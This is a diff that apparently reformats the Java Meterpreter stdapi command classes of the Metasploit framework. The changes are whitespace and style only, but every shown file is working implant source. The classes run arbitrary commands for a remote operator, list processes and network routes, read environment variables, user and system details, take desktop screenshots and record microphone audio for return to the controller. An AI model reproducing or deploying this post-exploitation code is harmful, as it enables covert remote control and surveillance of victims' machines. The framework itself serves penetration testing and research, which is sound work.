@ -10,30 +10,30 @@ import com.metasploit.meterpreter.command.Command;
|
|||||||
|
|
||||||
public class stdapi_net_config_get_routes_V1_4 extends stdapi_net_config_get_routes implements Command {
|
public class stdapi_net_config_get_routes_V1_4 extends stdapi_net_config_get_routes implements Command {
|
||||||
|
|
||||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||||
stdapi_net_config_get_interfaces_V1_4 getIfaceCommand = (stdapi_net_config_get_interfaces_V1_4) meterpreter.getCommandManager().getCommand("stdapi_net_config_get_interfaces");
|
stdapi_net_config_get_interfaces_V1_4 getIfaceCommand = (stdapi_net_config_get_interfaces_V1_4) meterpreter.getCommandManager().getCommand("stdapi_net_config_get_interfaces");
|
||||||
for (Enumeration ifaces = NetworkInterface.getNetworkInterfaces(); ifaces.hasMoreElements();) {
|
for (Enumeration ifaces = NetworkInterface.getNetworkInterfaces(); ifaces.hasMoreElements(); ) {
|
||||||
NetworkInterface iface = (NetworkInterface) ifaces.nextElement();
|
NetworkInterface iface = (NetworkInterface) ifaces.nextElement();
|
||||||
stdapi_net_config_get_interfaces_V1_4.Address[] addresses = getIfaceCommand.getAddresses(iface);
|
stdapi_net_config_get_interfaces_V1_4.Address[] addresses = getIfaceCommand.getAddresses(iface);
|
||||||
for (int i = 0; i < addresses.length; i++) {
|
for (int i = 0; i < addresses.length; i++) {
|
||||||
TLVPacket ifaceTLV = new TLVPacket();
|
TLVPacket ifaceTLV = new TLVPacket();
|
||||||
ifaceTLV.add(TLVType.TLV_TYPE_SUBNET, addresses[i].address);
|
ifaceTLV.add(TLVType.TLV_TYPE_SUBNET, addresses[i].address);
|
||||||
int length = addresses[i].address.length;
|
int length = addresses[i].address.length;
|
||||||
ifaceTLV.add(TLVType.TLV_TYPE_NETMASK, createNetworkMask(length, addresses[i].prefixLength));
|
ifaceTLV.add(TLVType.TLV_TYPE_NETMASK, createNetworkMask(length, addresses[i].prefixLength));
|
||||||
ifaceTLV.add(TLVType.TLV_TYPE_GATEWAY, new byte[length]);
|
ifaceTLV.add(TLVType.TLV_TYPE_GATEWAY, new byte[length]);
|
||||||
response.addOverflow(TLVType.TLV_TYPE_NETWORK_ROUTE, ifaceTLV);
|
response.addOverflow(TLVType.TLV_TYPE_NETWORK_ROUTE, ifaceTLV);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
}
|
}
|
||||||
|
|
||||||
private static byte[] createNetworkMask(int length, int prefixLength) {
|
private static byte[] createNetworkMask(int length, int prefixLength) {
|
||||||
if (prefixLength > length * 8)
|
if (prefixLength > length * 8)
|
||||||
prefixLength = length * 8;
|
prefixLength = length * 8;
|
||||||
byte[] netmask = new byte[length];
|
byte[] netmask = new byte[length];
|
||||||
for (int i = 0; i < prefixLength; i++) {
|
for (int i = 0; i < prefixLength; i++) {
|
||||||
netmask[i / 8] |= (1 << (7 - (i % 8)));
|
netmask[i / 8] |= (1 << (7 - (i % 8)));
|
||||||
}
|
}
|
||||||
return netmask;
|
return netmask;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -11,18 +11,18 @@ import com.metasploit.meterpreter.command.Command;
|
|||||||
|
|
||||||
public class stdapi_net_socket_tcp_shutdown implements Command {
|
public class stdapi_net_socket_tcp_shutdown implements Command {
|
||||||
|
|
||||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||||
|
|
||||||
SocketChannel c = (SocketChannel) meterpreter.getChannel(request.getIntValue(TLVType.TLV_TYPE_CHANNEL_ID), true);
|
SocketChannel c = (SocketChannel) meterpreter.getChannel(request.getIntValue(TLVType.TLV_TYPE_CHANNEL_ID), true);
|
||||||
|
|
||||||
Socket socket = c.getSocket();
|
Socket socket = c.getSocket();
|
||||||
int how = request.getIntValue(TLVType.TLV_TYPE_SHUTDOWN_HOW);
|
int how = request.getIntValue(TLVType.TLV_TYPE_SHUTDOWN_HOW);
|
||||||
shutdown(socket, how);
|
shutdown(socket, how);
|
||||||
|
|
||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
}
|
}
|
||||||
|
|
||||||
protected void shutdown(Socket socket, int how) throws IOException {
|
protected void shutdown(Socket socket, int how) throws IOException {
|
||||||
socket.close();
|
socket.close();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -5,24 +5,24 @@ import java.net.Socket;
|
|||||||
|
|
||||||
public class stdapi_net_socket_tcp_shutdown_V1_3 extends stdapi_net_socket_tcp_shutdown {
|
public class stdapi_net_socket_tcp_shutdown_V1_3 extends stdapi_net_socket_tcp_shutdown {
|
||||||
|
|
||||||
protected void shutdown(Socket socket, int how) throws IOException {
|
protected void shutdown(Socket socket, int how) throws IOException {
|
||||||
switch (how) {
|
switch (how) {
|
||||||
|
|
||||||
case 0: // shutdown reading
|
case 0: // shutdown reading
|
||||||
socket.shutdownInput();
|
socket.shutdownInput();
|
||||||
break;
|
break;
|
||||||
|
|
||||||
case 1: // shutdown writing
|
case 1: // shutdown writing
|
||||||
socket.shutdownOutput();
|
socket.shutdownOutput();
|
||||||
break;
|
break;
|
||||||
|
|
||||||
case 2: // shutdown reading and writing
|
case 2: // shutdown reading and writing
|
||||||
socket.shutdownInput();
|
socket.shutdownInput();
|
||||||
socket.shutdownOutput();
|
socket.shutdownOutput();
|
||||||
break;
|
break;
|
||||||
|
|
||||||
default:
|
default:
|
||||||
throw new IllegalArgumentException("Invalid value for TLV_TYPE_SHUTDOWN_HOW: " + how);
|
throw new IllegalArgumentException("Invalid value for TLV_TYPE_SHUTDOWN_HOW: " + how);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -4,31 +4,32 @@ import com.metasploit.meterpreter.Meterpreter;
|
|||||||
import com.metasploit.meterpreter.TLVPacket;
|
import com.metasploit.meterpreter.TLVPacket;
|
||||||
import com.metasploit.meterpreter.TLVType;
|
import com.metasploit.meterpreter.TLVType;
|
||||||
import com.metasploit.meterpreter.command.Command;
|
import com.metasploit.meterpreter.command.Command;
|
||||||
|
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
|
|
||||||
public class stdapi_sys_config_getenv implements Command {
|
public class stdapi_sys_config_getenv implements Command {
|
||||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||||
List envVars = request.getValues(TLVType.TLV_TYPE_ENV_VARIABLE);
|
List envVars = request.getValues(TLVType.TLV_TYPE_ENV_VARIABLE);
|
||||||
|
|
||||||
for (int i = 0; i < envVars.size(); ++i) {
|
for (int i = 0; i < envVars.size(); ++i) {
|
||||||
String envVar = (String)envVars.get(i);
|
String envVar = (String) envVars.get(i);
|
||||||
|
|
||||||
if (envVar.startsWith("$") || envVar.startsWith("%")) {
|
if (envVar.startsWith("$") || envVar.startsWith("%")) {
|
||||||
envVar = envVar.substring(1);
|
envVar = envVar.substring(1);
|
||||||
}
|
}
|
||||||
if (envVar.endsWith("$") || envVar.endsWith("%")) {
|
if (envVar.endsWith("$") || envVar.endsWith("%")) {
|
||||||
envVar = envVar.substring(0, envVar.length() - 1);
|
envVar = envVar.substring(0, envVar.length() - 1);
|
||||||
}
|
}
|
||||||
|
|
||||||
String envVal = System.getenv(envVar);
|
String envVal = System.getenv(envVar);
|
||||||
TLVPacket grp = new TLVPacket();
|
TLVPacket grp = new TLVPacket();
|
||||||
|
|
||||||
grp.add(TLVType.TLV_TYPE_ENV_VARIABLE, envVar);
|
grp.add(TLVType.TLV_TYPE_ENV_VARIABLE, envVar);
|
||||||
grp.add(TLVType.TLV_TYPE_ENV_VALUE, envVal);
|
grp.add(TLVType.TLV_TYPE_ENV_VALUE, envVal);
|
||||||
|
|
||||||
response.addOverflow(TLVType.TLV_TYPE_ENV_GROUP, grp);
|
response.addOverflow(TLVType.TLV_TYPE_ENV_GROUP, grp);
|
||||||
}
|
}
|
||||||
|
|
||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -6,8 +6,8 @@ import com.metasploit.meterpreter.TLVType;
|
|||||||
import com.metasploit.meterpreter.command.Command;
|
import com.metasploit.meterpreter.command.Command;
|
||||||
|
|
||||||
public class stdapi_sys_config_getuid implements Command {
|
public class stdapi_sys_config_getuid implements Command {
|
||||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||||
response.add(TLVType.TLV_TYPE_USER_NAME, System.getProperty("user.name"));
|
response.add(TLVType.TLV_TYPE_USER_NAME, System.getProperty("user.name"));
|
||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
}
|
}
|
||||||
}
|
}
|
@ -8,9 +8,9 @@ import com.metasploit.meterpreter.TLVType;
|
|||||||
import com.metasploit.meterpreter.command.Command;
|
import com.metasploit.meterpreter.command.Command;
|
||||||
|
|
||||||
public class stdapi_sys_config_sysinfo implements Command {
|
public class stdapi_sys_config_sysinfo implements Command {
|
||||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||||
response.add(TLVType.TLV_TYPE_COMPUTER_NAME, InetAddress.getLocalHost().getHostName());
|
response.add(TLVType.TLV_TYPE_COMPUTER_NAME, InetAddress.getLocalHost().getHostName());
|
||||||
response.add(TLVType.TLV_TYPE_OS_NAME, System.getProperty("os.name") + " " + System.getProperty("os.version") + " (" + System.getProperty("os.arch") + ")");
|
response.add(TLVType.TLV_TYPE_OS_NAME, System.getProperty("os.name") + " " + System.getProperty("os.version") + " (" + System.getProperty("os.arch") + ")");
|
||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
}
|
}
|
||||||
}
|
}
|
@ -10,45 +10,45 @@ import java.io.IOException;
|
|||||||
|
|
||||||
public class stdapi_sys_process_execute implements Command {
|
public class stdapi_sys_process_execute implements Command {
|
||||||
|
|
||||||
private static final int PROCESS_EXECUTE_FLAG_CHANNELIZED = (1 << 1);
|
private static final int PROCESS_EXECUTE_FLAG_CHANNELIZED = (1 << 1);
|
||||||
|
|
||||||
private static int pid = 0;
|
private static int pid = 0;
|
||||||
|
|
||||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||||
StringBuffer cmdbuf = new StringBuffer();
|
StringBuffer cmdbuf = new StringBuffer();
|
||||||
String cmd = request.getStringValue(TLVType.TLV_TYPE_PROCESS_PATH);
|
String cmd = request.getStringValue(TLVType.TLV_TYPE_PROCESS_PATH);
|
||||||
String argsString = request.getStringValue(TLVType.TLV_TYPE_PROCESS_ARGUMENTS, "");
|
String argsString = request.getStringValue(TLVType.TLV_TYPE_PROCESS_ARGUMENTS, "");
|
||||||
int flags = request.getIntValue(TLVType.TLV_TYPE_PROCESS_FLAGS);
|
int flags = request.getIntValue(TLVType.TLV_TYPE_PROCESS_FLAGS);
|
||||||
|
|
||||||
cmdbuf.append(cmd);
|
cmdbuf.append(cmd);
|
||||||
if (argsString.length() > 0) {
|
if (argsString.length() > 0) {
|
||||||
cmdbuf.append(argsString);
|
cmdbuf.append(argsString);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
if (cmd.length() == 0)
|
||||||
|
return ERROR_FAILURE;
|
||||||
|
|
||||||
|
Process proc = execute(cmdbuf.toString());
|
||||||
|
|
||||||
|
if ((flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) != 0) {
|
||||||
|
ProcessChannel channel = new ProcessChannel(meterpreter, proc);
|
||||||
|
synchronized (stdapi_sys_process_execute.class) {
|
||||||
|
pid++;
|
||||||
|
response.add(TLVType.TLV_TYPE_PID, pid);
|
||||||
|
response.add(TLVType.TLV_TYPE_PROCESS_HANDLE, (long) pid);
|
||||||
|
}
|
||||||
|
response.add(TLVType.TLV_TYPE_CHANNEL_ID, channel.getID());
|
||||||
|
} else {
|
||||||
|
proc.getInputStream().close();
|
||||||
|
proc.getErrorStream().close();
|
||||||
|
proc.getOutputStream().close();
|
||||||
|
}
|
||||||
|
return ERROR_SUCCESS;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
protected Process execute(String cmdstr) throws IOException {
|
||||||
if (cmd.length() == 0)
|
Process proc = Runtime.getRuntime().exec(cmdstr);
|
||||||
return ERROR_FAILURE;
|
return proc;
|
||||||
|
}
|
||||||
Process proc = execute(cmdbuf.toString());
|
|
||||||
|
|
||||||
if ((flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) != 0) {
|
|
||||||
ProcessChannel channel = new ProcessChannel(meterpreter, proc);
|
|
||||||
synchronized (stdapi_sys_process_execute.class) {
|
|
||||||
pid++;
|
|
||||||
response.add(TLVType.TLV_TYPE_PID, pid);
|
|
||||||
response.add(TLVType.TLV_TYPE_PROCESS_HANDLE, (long)pid);
|
|
||||||
}
|
|
||||||
response.add(TLVType.TLV_TYPE_CHANNEL_ID, channel.getID());
|
|
||||||
} else {
|
|
||||||
proc.getInputStream().close();
|
|
||||||
proc.getErrorStream().close();
|
|
||||||
proc.getOutputStream().close();
|
|
||||||
}
|
|
||||||
return ERROR_SUCCESS;
|
|
||||||
}
|
|
||||||
|
|
||||||
protected Process execute(String cmdstr) throws IOException {
|
|
||||||
Process proc = Runtime.getRuntime().exec(cmdstr);
|
|
||||||
return proc;
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
@ -3,8 +3,8 @@ package com.metasploit.meterpreter.stdapi;
|
|||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
|
|
||||||
public class stdapi_sys_process_execute_V1_3 extends stdapi_sys_process_execute {
|
public class stdapi_sys_process_execute_V1_3 extends stdapi_sys_process_execute {
|
||||||
protected Process execute(String[] cmdarray) throws IOException {
|
protected Process execute(String[] cmdarray) throws IOException {
|
||||||
Process proc = Runtime.getRuntime().exec(cmdarray, null, Loader.cwd);
|
Process proc = Runtime.getRuntime().exec(cmdarray, null, Loader.cwd);
|
||||||
return proc;
|
return proc;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -13,7 +13,7 @@ import com.metasploit.meterpreter.command.Command;
|
|||||||
|
|
||||||
/**
|
/**
|
||||||
* Ported from PHP meterpreter.
|
* Ported from PHP meterpreter.
|
||||||
*
|
* <p/>
|
||||||
* # Works, but not very portable. There doesn't appear to be a PHP way of
|
* # Works, but not very portable. There doesn't appear to be a PHP way of
|
||||||
* # getting a list of processes, so we just shell out to ps/tasklist.exe. I need
|
* # getting a list of processes, so we just shell out to ps/tasklist.exe. I need
|
||||||
* # to decide what options to send to ps for portability and for information
|
* # to decide what options to send to ps for portability and for information
|
||||||
@ -21,59 +21,59 @@ import com.metasploit.meterpreter.command.Command;
|
|||||||
*/
|
*/
|
||||||
public class stdapi_sys_process_get_processes implements Command {
|
public class stdapi_sys_process_get_processes implements Command {
|
||||||
|
|
||||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||||
List processes = new ArrayList();
|
List processes = new ArrayList();
|
||||||
if (File.pathSeparatorChar == ';') {
|
if (File.pathSeparatorChar == ';') {
|
||||||
Process proc = Runtime.getRuntime().exec(new String[] { "tasklist.exe", "/v", "/fo", "csv", "/nh" });
|
Process proc = Runtime.getRuntime().exec(new String[]{"tasklist.exe", "/v", "/fo", "csv", "/nh"});
|
||||||
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
|
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
|
||||||
String line;
|
String line;
|
||||||
while ((line = br.readLine()) != null) {
|
while ((line = br.readLine()) != null) {
|
||||||
if (line.length() == 0)
|
if (line.length() == 0)
|
||||||
continue;
|
continue;
|
||||||
line = line.substring(1, line.length() - 1); // strip quotes
|
line = line.substring(1, line.length() - 1); // strip quotes
|
||||||
List parts = new ArrayList();
|
List parts = new ArrayList();
|
||||||
int pos;
|
int pos;
|
||||||
// Ghetto CSV parsing
|
// Ghetto CSV parsing
|
||||||
while ((pos = line.indexOf("\",\"")) != -1) {
|
while ((pos = line.indexOf("\",\"")) != -1) {
|
||||||
parts.add(line.substring(0, pos));
|
parts.add(line.substring(0, pos));
|
||||||
line = line.substring(pos + 3);
|
line = line.substring(pos + 3);
|
||||||
}
|
}
|
||||||
parts.add(line);
|
parts.add(line);
|
||||||
while (parts.size() < 7)
|
while (parts.size() < 7)
|
||||||
parts.add("");
|
parts.add("");
|
||||||
processes.add(new String[] { (String) parts.get(1), (String) parts.get(6), (String) parts.get(0) });
|
processes.add(new String[]{(String) parts.get(1), (String) parts.get(6), (String) parts.get(0)});
|
||||||
}
|
}
|
||||||
br.close();
|
br.close();
|
||||||
proc.waitFor();
|
proc.waitFor();
|
||||||
} else {
|
} else {
|
||||||
Process proc = Runtime.getRuntime().exec(new String[] { "/bin/sh", "-c", "ps ax -w -o pid=,user=,command= 2>/dev/null" });
|
Process proc = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", "ps ax -w -o pid=,user=,command= 2>/dev/null"});
|
||||||
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
|
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
|
||||||
String line;
|
String line;
|
||||||
while ((line = br.readLine()) != null) {
|
while ((line = br.readLine()) != null) {
|
||||||
line = line.replace('\t', ' ').trim();
|
line = line.replace('\t', ' ').trim();
|
||||||
String[] process = new String[3];
|
String[] process = new String[3];
|
||||||
for (int i = 0; i < 2; i++) {
|
for (int i = 0; i < 2; i++) {
|
||||||
int pos = line.indexOf(" ");
|
int pos = line.indexOf(" ");
|
||||||
process[i] = line.substring(0, pos);
|
process[i] = line.substring(0, pos);
|
||||||
line = line.substring(pos).trim();
|
line = line.substring(pos).trim();
|
||||||
}
|
}
|
||||||
process[2] = line;
|
process[2] = line;
|
||||||
processes.add(process);
|
processes.add(process);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
for (int i = 0; i < processes.size(); i++) {
|
for (int i = 0; i < processes.size(); i++) {
|
||||||
String[] proc = (String[]) processes.get(i);
|
String[] proc = (String[]) processes.get(i);
|
||||||
TLVPacket grp = new TLVPacket();
|
TLVPacket grp = new TLVPacket();
|
||||||
grp.add(TLVType.TLV_TYPE_PID, new Integer(proc[0]));
|
grp.add(TLVType.TLV_TYPE_PID, new Integer(proc[0]));
|
||||||
grp.add(TLVType.TLV_TYPE_USER_NAME, proc[1]);
|
grp.add(TLVType.TLV_TYPE_USER_NAME, proc[1]);
|
||||||
String procName = proc[2];
|
String procName = proc[2];
|
||||||
if (File.pathSeparatorChar != ';' && procName.indexOf(' ') != -1) {
|
if (File.pathSeparatorChar != ';' && procName.indexOf(' ') != -1) {
|
||||||
procName = procName.substring(0, procName.indexOf(' '));
|
procName = procName.substring(0, procName.indexOf(' '));
|
||||||
}
|
}
|
||||||
grp.add(TLVType.TLV_TYPE_PROCESS_NAME, procName);
|
grp.add(TLVType.TLV_TYPE_PROCESS_NAME, procName);
|
||||||
grp.add(TLVType.TLV_TYPE_PROCESS_PATH, proc[2]);
|
grp.add(TLVType.TLV_TYPE_PROCESS_PATH, proc[2]);
|
||||||
response.addOverflow(TLVType.TLV_TYPE_PROCESS_GROUP, grp);
|
response.addOverflow(TLVType.TLV_TYPE_PROCESS_GROUP, grp);
|
||||||
}
|
}
|
||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -18,28 +18,28 @@ import com.metasploit.meterpreter.command.Command;
|
|||||||
|
|
||||||
public class stdapi_ui_desktop_screenshot_V1_4 extends stdapi_ui_desktop_screenshot implements Command {
|
public class stdapi_ui_desktop_screenshot_V1_4 extends stdapi_ui_desktop_screenshot implements Command {
|
||||||
|
|
||||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||||
int quality = request.getIntValue(TLVType.TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY);
|
int quality = request.getIntValue(TLVType.TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY);
|
||||||
response.add(TLVType.TLV_TYPE_DESKTOP_SCREENSHOT, grabScreen(quality));
|
response.add(TLVType.TLV_TYPE_DESKTOP_SCREENSHOT, grabScreen(quality));
|
||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
}
|
}
|
||||||
|
|
||||||
private byte[] grabScreen(int quality) throws Exception {
|
private byte[] grabScreen(int quality) throws Exception {
|
||||||
Rectangle screenBounds = new Rectangle();
|
Rectangle screenBounds = new Rectangle();
|
||||||
GraphicsDevice[] devices = GraphicsEnvironment.getLocalGraphicsEnvironment().getScreenDevices();
|
GraphicsDevice[] devices = GraphicsEnvironment.getLocalGraphicsEnvironment().getScreenDevices();
|
||||||
for (int i = 0; i < devices.length; i++) {
|
for (int i = 0; i < devices.length; i++) {
|
||||||
screenBounds = screenBounds.union(devices[i].getDefaultConfiguration().getBounds());
|
screenBounds = screenBounds.union(devices[i].getDefaultConfiguration().getBounds());
|
||||||
}
|
}
|
||||||
ImageWriter writer = (ImageWriter) ImageIO.getImageWritersByFormatName("jpeg").next();
|
ImageWriter writer = (ImageWriter) ImageIO.getImageWritersByFormatName("jpeg").next();
|
||||||
ImageWriteParam iwp = writer.getDefaultWriteParam();
|
ImageWriteParam iwp = writer.getDefaultWriteParam();
|
||||||
if (quality >= 0 && quality <= 100) {
|
if (quality >= 0 && quality <= 100) {
|
||||||
iwp.setCompressionMode(ImageWriteParam.MODE_EXPLICIT);
|
iwp.setCompressionMode(ImageWriteParam.MODE_EXPLICIT);
|
||||||
iwp.setCompressionQuality(quality / 100.0f);
|
iwp.setCompressionQuality(quality / 100.0f);
|
||||||
}
|
}
|
||||||
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
||||||
writer.setOutput(ImageIO.createImageOutputStream(baos));
|
writer.setOutput(ImageIO.createImageOutputStream(baos));
|
||||||
writer.write(null, new IIOImage(new Robot().createScreenCapture(screenBounds), null, null), iwp);
|
writer.write(null, new IIOImage(new Robot().createScreenCapture(screenBounds), null, null), iwp);
|
||||||
writer.dispose();
|
writer.dispose();
|
||||||
return baos.toByteArray();
|
return baos.toByteArray();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -19,41 +19,41 @@ import com.sun.media.sound.WaveFileWriter;
|
|||||||
|
|
||||||
public class webcam_audio_record_V1_4 extends webcam_audio_record implements Command {
|
public class webcam_audio_record_V1_4 extends webcam_audio_record implements Command {
|
||||||
|
|
||||||
private static final int TLV_EXTENSIONS = 20000;
|
private static final int TLV_EXTENSIONS = 20000;
|
||||||
private static final int TLV_TYPE_AUDIO_DURATION = TLVPacket.TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 1);
|
private static final int TLV_TYPE_AUDIO_DURATION = TLVPacket.TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 1);
|
||||||
private static final int TLV_TYPE_AUDIO_DATA = TLVPacket.TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 2);
|
private static final int TLV_TYPE_AUDIO_DATA = TLVPacket.TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 2);
|
||||||
|
|
||||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||||
int duration = request.getIntValue(TLV_TYPE_AUDIO_DURATION);
|
int duration = request.getIntValue(TLV_TYPE_AUDIO_DURATION);
|
||||||
TargetDataLine line = null;
|
TargetDataLine line = null;
|
||||||
Info[] mixerInfo = AudioSystem.getMixerInfo();
|
Info[] mixerInfo = AudioSystem.getMixerInfo();
|
||||||
for (int i = 0; i < mixerInfo.length; i++) {
|
for (int i = 0; i < mixerInfo.length; i++) {
|
||||||
Mixer mixer = AudioSystem.getMixer(mixerInfo[i]);
|
Mixer mixer = AudioSystem.getMixer(mixerInfo[i]);
|
||||||
Line.Info[] targetLineInfo = mixer.getTargetLineInfo();
|
Line.Info[] targetLineInfo = mixer.getTargetLineInfo();
|
||||||
if (targetLineInfo.length > 0) {
|
if (targetLineInfo.length > 0) {
|
||||||
line = (TargetDataLine) mixer.getLine(targetLineInfo[0]);
|
line = (TargetDataLine) mixer.getLine(targetLineInfo[0]);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if (line == null)
|
if (line == null)
|
||||||
throw new UnsupportedOperationException("No recording device found");
|
throw new UnsupportedOperationException("No recording device found");
|
||||||
AudioFormat af = new AudioFormat(11000, 8, 1, true, false);
|
AudioFormat af = new AudioFormat(11000, 8, 1, true, false);
|
||||||
line.open(af);
|
line.open(af);
|
||||||
line.start();
|
line.start();
|
||||||
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
||||||
byte[] buf = new byte[(int)af.getSampleRate() * af.getFrameSize()];
|
byte[] buf = new byte[(int) af.getSampleRate() * af.getFrameSize()];
|
||||||
long end = System.currentTimeMillis() + 1000 * duration;
|
long end = System.currentTimeMillis() + 1000 * duration;
|
||||||
int len;
|
int len;
|
||||||
while (System.currentTimeMillis() < end && ((len = line.read(buf, 0, buf.length)) != -1)) {
|
while (System.currentTimeMillis() < end && ((len = line.read(buf, 0, buf.length)) != -1)) {
|
||||||
baos.write(buf, 0, len);
|
baos.write(buf, 0, len);
|
||||||
}
|
}
|
||||||
line.stop();
|
line.stop();
|
||||||
line.close();
|
line.close();
|
||||||
baos.close();
|
baos.close();
|
||||||
AudioInputStream ais = new AudioInputStream(new ByteArrayInputStream(baos.toByteArray()), af, baos.toByteArray().length);
|
AudioInputStream ais = new AudioInputStream(new ByteArrayInputStream(baos.toByteArray()), af, baos.toByteArray().length);
|
||||||
ByteArrayOutputStream wavos = new ByteArrayOutputStream();
|
ByteArrayOutputStream wavos = new ByteArrayOutputStream();
|
||||||
new WaveFileWriter().write(ais, AudioFileFormat.Type.WAVE, wavos);
|
new WaveFileWriter().write(ais, AudioFileFormat.Type.WAVE, wavos);
|
||||||
response.add(TLV_TYPE_AUDIO_DATA, wavos.toByteArray());
|
response.add(TLV_TYPE_AUDIO_DATA, wavos.toByteArray());
|
||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user